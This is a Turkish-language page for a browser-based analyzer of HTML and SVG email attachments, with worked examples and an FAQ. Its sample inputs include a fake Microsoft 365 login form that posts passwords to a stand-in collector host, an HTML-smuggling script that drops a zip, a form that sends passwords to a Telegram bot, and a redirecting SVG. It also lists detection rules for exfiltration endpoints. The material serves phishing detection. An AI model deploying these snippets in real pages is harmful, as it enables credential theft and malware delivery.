Dosyalar ve sayfalar

HTML Eki Analiz Aracı

Yerelde çalışırYeni

Araç İngilizce dilindedir; bu sayfada ise araç, sizin dilinizde açıklanmaktadır.

HTML Eki Analiz Aracı'i kullanın

Ne işe yarar?

Açılırsa ne yapacağını görmek için bir HTML veya SVG ekini yükleyin ya da yapıştırın: gizli indirmeler, parolayı başka yere gönderen formlar, yönlendirmeler, veri sızdırma uç noktaları ve gizlenmiş kod. Dosya metin olarak okunur; hiçbir zaman işlenmez veya çalıştırılmaz.

Tamamen tarayıcınızda çalışır: girdiğiniz hiçbir bilgi yukarıya yüklenmez.

HTML Eki Analiz Aracı nasıl kullanılır?

  1. Dosyayı açmayın. .html, .htm, .shtml, .xhtml veya .svg ekini açmadan kaydedin ya da kaynağını metin olarak kopyalayın.
  2. Yükleyin veya yapıştırın. Dosyayı kutuya bırakın veya seçin (en fazla 25 MB) ya da kaynağı yapıştırın (en fazla 5 MB) ve Analyze düğmesine veya Ctrl+Enter'a basın.
  3. Kararı okuyun. Üstteki kutu, arkasındaki kategoriler ve bulgu, IOC ve gömülü blob sayılarıyla birlikte High risk, Suspicious veya No high-risk patterns found der.
  4. Bulguları gözden geçirin. Her bulgu önem derecesini, kategorisini, satır numarasını ve eşleşen kaynağı gösterir; bağlantılar ve adresler zararsızlaştırılmıştır.
  5. Bulduklarınızı dışa aktarın. IOC'leri zararsızlaştırılmış veya ham olarak kopyalayın ya da IOC Converter, Abuse Report Generator veya gömülü bir blob için Multi-Layer Decoder'a göndermek üzere Send to'yu kullanın.

Örnek

Adresi önceden doldurulmuş giriş formu

Giriş
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Çıktı (2026-10-20 tarihinde kaydedildi)
High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…

High risk: giriş formu parolayı collector[.]example adresine gönderir, başlık bir parola alanının yanında Microsoft 365'i anar ve betik e-posta adresini URL parçasından (fragment) atob ile doldurur. IOC listesi toplayıcı URL'yi ve alan adını zararsızlaştırılmış olarak içerir.

Neyi kontrol eder?

SinyalBunun anlamı nedir?
HTML smugglingSayfa bellekte bir dosya oluşturup (createObjectURL veya bir indirme bağlantısıyla Blob ya da msSaveOrOpenBlob) bunu indirme olarak sunduğunda high.
FormlarBaşka bir siteye gönderim yapan her form high olarak derecelendirilir ve başlık bir parola taşıyıp taşımadığını belirtir. Forms tablosu her formun nereye gönderdiğini, yöntemini ve alanlarını listeler.
Veri sızdırma uç noktalarıTelegram Bot API çağrıları, bot token'ları, Discord webhook'ları ve formspree.io veya webhook.site gibi form toplama hizmetleri high olarak derecelendirilir.
Gizlemeatob, unescape, fromCharCode, uzun kaçış dizileri ve bilinen gizleyicilerin çıktısı. Değişmez kodlanmış dizeler çalıştırılmadan çözülür.
Dinamik kodeval, Function yapıcısı, document.write ve innerHTML atamaları çalışma anında kod veya işaretleme oluşturur.
YönlendirmelerKonum değişiklikleri, window.open, meta refresh ve kitlerin genellikle kurbanın e-posta adresini ilettiği URL parçasının (fragment) okunması.
Analiz önlemeEngellenmiş sağ tık veya F12, debugger ifadeleri, geliştirici araçları tespiti ve otomatik tarayıcı kontrolleri.
Gömülü içerikdata: URI'leri, uzun Base64 veya hex blob'ları ve çözüldükleri dosya türü, gizli iframe'ler ve betik içeren SVG dosyaları.
Marka ipuçlarıBaşlıkta, logolarda veya bağlantılarda marka adları. Bir parola alanının yanında bu medium olarak derecelendirilir.

Diğer örnekler

Tarayıcıda oluşturulan bir indirme

Giriş
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>
Sonuç

High risk, neden HTML smuggling: 1 high bulgu (sayfa tarayıcıda bir dosya oluşturur ve indirme olarak sunar) ve atob, new Blob, URL.createObjectURL ile download özniteliği için 4 medium bulgu. IOC yok.

Bir Telegram botuna gönderilen parola

Giriş
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>
Sonuç

High risk, neden Data exfiltration: bir betik, parola alanı olan bir sayfadan api.telegram.org'a veri gönderir; ayrıca Telegram Bot API uç noktası bulgusu. Medium bulgular fetch'i, parola alanını ve harici action içermeyen bir giriş formunu kapsar.

Yönlendirme yapan bir SVG görseli

Giriş
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>
Sonuç

High risk: betik içeren SVG dosyası, ayrıca medium bir yönlendirme ve low bir btoa bulgusu. Hedef, Requests and redirects altında başka bir site olarak görünür ve XML ad alanı URL'si IOC'lerin dışında bırakılır.

Sık Sorulan Sorular

Analiz aracı neye bakar?

Kaynağı HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, indirme bağlantıları, data: URI'leri ve uzun Base64 blob'ları), başka sitelere veri gönderen formlar ve betikler, Telegram ve Discord'a veri sızdırma, yönlendirmeler, gizli iframe'ler, gizleyiciler (obfuscator) ve analiz önleme hileleri için kurallarla eşleştirir. Ayrıca atob, unescape ve fromCharCode değişmezlerini çalıştırmadan çözer ve bulduğu her URL'yi, alan adını, IP adresini ve e-posta adresini zararsızlaştırılmış olarak listeler.

Bir şeyi gözden kaçırabilir veya yanlış alarm verebilir mi?

Evet. Şifrelenmiş veya çalışma anında üretilen kod davranışını statik bir taramadan gizleyebilir; sıradan sayfalar da fetch, innerHTML veya satır içi görseller kullanır; bu nedenle her bulgunun yanında gösterilen eşleşen kaynağı okuyun. Gizleme çözme ve korumalı alanda emülasyon için JS Analyzer'ı kullanın.

Dosya yükleniyor veya açılıyor mu?

Hayır. Dosya tarayıcınızda metin olarak okunur ve hiçbir zaman işlenmez, çalıştırılmaz veya bir yere gönderilmez. 25 MB'a kadar dosyalar kabul edilir; çok büyük dosyalarda işaretlemenin ilk 4 MB'ı ve son 1 MB'ı taranır, gömülü blob'lar ise dosyanın tamamında sayılır.

Bir SVG görseli neden web sayfası gibi kontrol ediliyor?

SVG dosyaları, tarayıcıların sayfa gibi açtığı XML'dir; bu nedenle betikler, bağlantılar ve gömülü HTML taşıyabilir. Bir görselin betiğe ihtiyacı yoktur; bu nedenle SVG içindeki betik high olarak derecelendirilir.

Gömülü blob'lar nedir?

Dosyanın içindeki uzun Base64, hex veya bayt dizisi dizeleri. Bellekte çözülür ve dönüştükleri dosya türüyle etiketlenirler; birini kopyalayabilir veya bir metin blob'unu Multi-Layer Decoder'a gönderebilirsiniz.

Önem dereceleri ne anlama gelir?

High, kimlik avı ve kötü amaçlı yazılım eklerinin dayandığı smuggling, veri sızdırma uç noktaları veya başka yere gönderim yapan bir parola formu gibi örüntüleri işaretler. Medium, sıradan sayfaların da kullandığı teknikleri kapsar. Tek bir high bulgu, kararı High risk yapar.

Terimlerin açıklamaları

PhishDestroy araştırması